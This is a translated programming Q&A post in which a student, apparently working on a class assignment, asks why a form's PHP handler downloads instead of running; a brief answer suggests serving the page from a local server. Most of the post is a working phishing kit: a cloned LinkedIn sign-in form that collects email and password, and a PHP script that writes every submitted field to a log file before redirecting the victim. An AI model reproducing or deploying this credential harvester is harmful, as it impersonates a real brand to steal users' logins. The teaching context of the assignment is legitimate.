简体   繁体   English

表单操作正在下载 php 文件而不是运行它

[英]Form action is downloading the php file instead of running it

For a class I have to create a phishing site that runs on a VM.对于一个类,我必须创建一个在 VM 上运行的网络钓鱼站点。 I am currently working on my PC and running the site as an HTML.我目前正在我的 PC 上工作,并将网站作为 HTML 运行。

I changed the "form action=" "... to form action="process.php"...我将“form action=""... 更改为 form action="process.php"...

The html file works fine when I use an address or another html file in the action="xyz" instead, but will download the .php file instead of running it.当我在 action="xyz" 中使用地址或另一个 html 文件时,html 文件可以正常工作,但会下载 .php 文件而不是运行它。

Long story short: My HTMl file will download the php file instead of running it长话短说:我的 HTMl 文件将下载 php 文件而不是运行它

HTML Snippet: HTML 片段:
action = "process.php" is on line 1 action = "process.php" 在第 1 行

 <form action="process.php" method="GET" name="login" novalidate="novalidate" id="login" data-jsenabled="check" data-autologin="true" data-existingmembersignin="true"> <input type="hidden" name="isJsEnabled" value="false"/> <input type="hidden" name="source_app" value=""/> <input type="hidden" name="tryCount" id="tryCount" value=""/> <input type="hidden" name="clickedSuggestion" id="clickedSuggestion" value="false" /> <fieldset class="field-container field-container--fixed"> <legend>Sign in to LinkedIn</legend> <div class="outer-wrapper"> <div class="inner-wrapper"> <div class="logo_container">LinkedIn</div> <ul class="form-fields" id="mini-profile--js"> <li class="form-email "> <div class="fieldgroup hide-label"> <label for="session_key-login" >Email address</label> <span class="error" id="session_key-login-error"></span> <input type="text" name="session_key" value="" id="session_key-login" placeholder="Email address" aria-describedby="session_key-login-error"> <div class="domain-suggestion hide" id="domainSuggestion"> <span>Did you mean: <a id="suggestion" href="javascript:void(0);"></a>?</span> </div> </div> </li> <li class="form-password"> <div class="fieldgroup hide-label"> <label for="session_password-login" >Password</label> <span class="error" id="session_password-login-error"></span> <div class="password_wrapper"> <input type="password" id="session_password-login" class="password" name="session_password" placeholder="Password" aria-describedby="session_password-login-error"/> </div> </div> </li> <li class="button form-actions"> <div class="form-buttons"> <input type="submit" name="signin" value="Sign In" class="btn-primary" id="btn-primary"> </div> <div class="forgot-password-container"> <a data-li-tooltip-id="login-tooltip" href="/uas/request-password-reset?session_redirect=&amp;trk=uas-login-forgot-password-text" tracking="uas-login-forgot-password-text" title="Forgot password?">Forgot password?</a> </div> <span>Not a member? <a href="/start/join?source=hb_signin&amp;trk=login_iframe_hb_signin">Join now</a></span> </li> </ul> </div> <div class="gaussian-blur"></div> </div>

<?php
header ('Location: http://racket-lang.org');
$handle = fopen("log.txt", "a");
foreach($_GET as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Edit: formatting to make it look better编辑:格式化以使其看起来更好

如果您在 XAMPP 之类的本地服务器上运行,请确保您在浏览器中将 html 文件打开到 localhost 地址(即在本地服务器上),而不仅仅是文件系统中的文件夹和文件(例如您的C:驱动器)。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM